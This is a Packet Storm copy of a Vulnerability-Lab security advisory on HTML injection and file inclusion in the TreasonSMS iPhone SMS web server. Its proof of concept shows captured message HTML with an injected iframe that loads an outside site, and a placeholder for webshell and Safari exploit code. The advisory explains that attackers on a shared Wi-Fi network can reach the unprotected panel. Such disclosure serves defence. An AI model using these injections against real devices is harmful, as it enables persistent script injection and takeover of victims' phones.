Exploit the possiblities

IPhone TreasonSMS HTML Injection / File Inclusion

IPhone TreasonSMS HTML Injection / File Inclusion
Posted Apr 23, 2012
Authored by Benjamin Kunz Mejri | Site vulnerability-lab.com

IPhone TreasonSMS suffers from html injection and file inclusion vulnerabilities.

tags | exploit, vulnerability, file inclusion
systems | apple, iphone
MD5 | baf9f8ad1ec36e375b28bc78fba8b6f1

IPhone TreasonSMS HTML Injection / File Inclusion

Change Mirror Download
Title:
======
IPhone TreasonSMS - HTML Inject & File Include Vulnerability


Date:
=====
2012-04-23


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=154


VL-ID:
=====
154


Introduction:
=============
treasonSMS allows you to send SMS from your desktop computer. It turns your iPhone into a SMS webserver, so you can send
sms and reply to SMS from your computer over wifi. Confirmed working with FF 3.5, Safari and IE8.

(Copy of the Vendor Homepage: http://code.google.com/p/treasonsms/)


Abstract:
=========
Vulnerability-Lab Team discovered multiple remote Web Vulnerabilities on treasonSMS Webserver for IPhone.


Report-Timeline:
================
2011-04-23: Public or Non-Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
High


Details:
========
A HTML Inject & a File Include vulnerabilit is detected on TreasonSMS IPhone application. The vulnerability allows an
remote attacker to include malicious persistent script codes on application-side of the iphone. This possible way allows the
attacker also to inject for example webshell scripts to get control of the affected application folder. When the IPhone is
jailbreaked the vulnerability exploitation can also result full controll of the affected IPhone. The Bug is located in the
input fields of the Message Sending & Message Output. An attacker can scan the victim on walkthrough because the ip
of the webserver makes the treasonSMS available to anybody without password.
To exploit somebody on a walkthourgh its only required to scan for the stable ip via wlan and access the panel for exploitation.

Vulnerable Module(s):
[+] Send Messages, Kontakte & List Messages

Affected Version(s):
[+] treasonSMS-1.0.8-src
[+] treasonSMS-1.0.8-deb

Picture(s):
../1.jpg
../treasonSMS-fileload_malware.png
../treasonSMS-mozilla_exploitation.png
../treasonSMS-Safari_exploitation1.png
../treasonSMS-Safari_exploitation2.jpg


Proof of Concept:
=================
The vulnerability can be exploited by remote attackers. For demonstration or reproduce ...

<div id="curmessage"><span class="msgOut"><div class="msgSender">2010-12-28 18:49:22</div><div style="background: url("GreenTopLeft.gif")
no-repeat scroll left top transparent;" class="msgContainer"><div style="background: url("GreenTopRight.gif") no-repeat scroll right top
transparent;" class="msgTopRight"></div><div style="background: url("GreenTop.gif") repeat-x scroll left top transparent;" class="msgTop">
</div><div class="msg">Wir sind schon los, zuspatkommen macht keinen guten Eindruck.<div style="background: url("GreenMiddle.gif") repeat
scroll left top transparent;" class="msgMiddle"></div><div style="background: url("GreenLeft.gif") repeat-y scroll left top transparent;"

class="msgLeft"></div><div style="background: url("GreenRight.gif") repeat-y scroll right top transparent;" class="msgRight"></div></div>
<div style="background: url("GreenBottom.gif") repeat-x scroll left bottom transparent;" class="msgBottom"></div><div style="background:
url("GreenBottomLeft.gif") no-repeat scroll left bottom transparent;" class="msgBottomLeft"></div><div style="background: url

("GreenBottomRightArrow.gif") no-repeat scroll right bottom transparent;" class="msgBottomRightSpeaking"></div></div></span><br clear="all">
<span class="msgOut"><div class="msgSender">2011-01-31 17:48:05</div><div style="background: url("GreenTopLeft.gif") no-repeat scroll left
top transparent;" class="msgContainer"><div style="background: url("GreenTopRight.gif") no-repeat scroll right top transparent;"

class="msgTopRight"></div><div style="background: url("GreenTop.gif") repeat-x scroll left top transparent;" class="msgTop"></div><div
class="msg">+49 176 56253349<div style="background: url("GreenMiddle.gif") repeat scroll left top transparent;" class="msgMiddle"></div><div

style="background: url("GreenLeft.gif") repeat-y scroll left top transparent;" class="msgLeft"></div><div style="background: url("
GreenRight.gif") repeat-y scroll right top transparent;" class="msgRight"></div></div><div style="background: url("GreenBottom.gif")
repeat-x scroll left bottom transparent;" class="msgBottom"></div><div style="background: url("GreenBottomLeft.gif") no-repeat scroll left
bottom transparent;" class="msgBottomLeft"></div><div style="background: url("GreenBottomRightArrow.gif") no-repeat scroll right bottom
transparent;" class="msgBottomRightSpeaking"></div></div></span><br clear="all"><span class="msgOut"><div class="msgSender">2011-02-11 23:16:15</div><div

style="background: url("GreenTopLeft.gif") no-repeat scroll left top transparent;" class="msgContainer"><div style="background: url

("GreenTopRight.gif") no-repeat scroll right top transparent;" class="msgTopRight"></div><div style="background: url("GreenTop.gif")
repeat-x scroll left top transparent;" class="msgTop"></div><div class="msg">Bin jetzt mit dem Minicar unterwegs zum MT..sonst wird das so sp├Ąt.<div
style="background: url("GreenMiddle.gif") repeat scroll left top transparent;" class="msgMiddle"></div><div style="background: url
("GreenLeft.gif") repeat-y scroll left top transparent;" class="msgLeft"></div><div style="background: url("GreenRight.gif")
repeat-y scroll right top transparent;" class="msgRight"></div></div><div style="background: url("GreenBottom.gif") repeat-x scroll left
bottom transparent;" class="msgBottom"></div><div style="background: url("GreenBottomLeft.gif") no-repeat scroll left bottom transparent;"

class="msgBottomLeft"></div><div style="background: url("GreenBottomRightArrow.gif") no-repeat scroll right bottom transparent;"

class="msgBottomRightSpeaking"></div></div></span>​​​​​<br clear="all"><span class="msgOut"><div class="msgSender">2011-02-13 00:50:57</div><div style="background:
url("GreenTopLeft.gif") no-repeat scroll left top transparent;" class="msgContainer"><div style="background: url("GreenTopRight.gif")
no-repeat scroll right top transparent;" class="msgTopRight"></div><div style="background: url("GreenTop.gif") repeat-x scroll left top
transparent;" class="msgTop"></div><div class="msg">>"<iframe src="http://www.global-evolution.info" height="600" width="600"><div

class='msgMiddle'></div><div class='msgLeft'></div><div class='msgRight'></div></div><div

class='msgBottom'></div><div class='msgBottomLeft'></div><div class='msgBottomRightSpeaking'></div></div></
span><br clear='all'><span class='msgOut'><div class='msgSender'>2011-02-13 00:52:34</div><div class='msgContainer'>
<div class='msgTopRight'></div><div class='msgTop'></div><div class='msg'>>"<<== INCLUDE SCRIPTCODE;Webshell+SAFARI
EXPLOIT HERE!><div class='msgMiddle'></div><div class='msgLeft'></div><div class='msgRight'></div></div><
div class='msgBottom'></div><div class='msgBottomLeft'></div><div class='msgBottomRightSpeaking'></div></div>&
lt;/span><br clear='all'></iframe></div>​​​​​</div></span></div>


Risk:
=====
The security risk of the web vulnerabilities are estimated as high(+).


Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (Rem0ve)


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of
other media, are reserved by Vulnerability-Lab or its suppliers.

Copyright © 2011 Vulnerability-Lab

--
VULNERABILITY RESEARCH LABORATORY TEAM
Website: www.vulnerability-lab.com
Mail: research@vulnerability-lab.com

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    22 Files
  • 2
    Nov 2nd
    28 Files
  • 3
    Nov 3rd
    10 Files
  • 4
    Nov 4th
    1 Files
  • 5
    Nov 5th
    5 Files
  • 6
    Nov 6th
    15 Files
  • 7
    Nov 7th
    15 Files
  • 8
    Nov 8th
    13 Files
  • 9
    Nov 9th
    9 Files
  • 10
    Nov 10th
    9 Files
  • 11
    Nov 11th
    3 Files
  • 12
    Nov 12th
    2 Files
  • 13
    Nov 13th
    15 Files
  • 14
    Nov 14th
    17 Files
  • 15
    Nov 15th
    19 Files
  • 16
    Nov 16th
    15 Files
  • 17
    Nov 17th
    19 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close